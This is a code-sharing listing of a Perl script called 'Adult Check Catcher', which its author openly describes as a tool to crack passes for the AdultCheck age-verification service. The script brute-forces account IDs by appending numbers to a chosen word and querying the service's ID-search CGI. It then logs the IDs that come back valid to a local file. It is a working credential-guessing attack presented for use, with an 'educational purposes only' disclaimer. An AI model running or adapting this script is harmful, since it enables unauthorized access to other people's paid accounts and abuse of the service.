Adult Check Catcher....

				
=**************************************
= Name: Adult Check Catcher....
= Description:This cracks adult check passes.
Just change firebird to get more it would be better if you make sure there are passes with that word.
This is just for educational purposes only!
= By: iron saTan
=
=This code is copyrighted and has= limited warranties.Please see http://www.Planet-Source-Code.com/vb/scripts/ShowCode.asp?txtCodeId=359&lngWId=6=for details.=**************************************

#!usr\bin\perl
####################################
## AdultCheck Catcher ##
## Copyright iron saTan (C)##
## ironsatan@satanshideaway.com##
####################################
use IO::Socket;
print "Scanning for Adult Check Catcher!\n";
print "By iron saTan(ironsatan@satanshideaway.com\n\n\n";
for ($i = 1000; $i < 9999; $i++){
$id = $i;
$id .= "firebird";# Change the word for more passes
# Gets info from server
if ($look = IO::Socket::INET->new(PeerAddr => 'id.adultcheck.com', PeerPort => '80', Proto => "tcp")) {
print $look "GET /cgi-bin/idsearch.cgi?page=649943&id=$id HTTP/1.0\n\n";
}
while ($ex_data = <$look>) {
chop($ex_data);
$bitch .= $ex_data;
}
$a = "http://www4.adultcheck.com/cgi-bin/invalid.shtml";
$b = "http://www4.adultcheck.com/cgi-bin/stolen.shtml";
$c = "http://www4.adultcheck.com/cgi-bin/expired.shtml";
open (FOUND,">>c:/adultchecks.txt") or die "Can't open log file";
# Sees if id is valid or invaild or stolen or expired
if ($bitch =~ /\Q$a\E/i) {
print "\n$id Not found";
}
else
{
if ($bitch =~ /\Q$b\E/i){
print "\n$id has been stolen";
}
else
{
if ($bitch =~ /\Q$c\E/i){
print "\n$id has expired";
}
else
{
print "\n$id FOUND!!!!";
print FOUND "\n$id";
}
}
}
$bitch = "";
}
print "\nEnd of Scan!";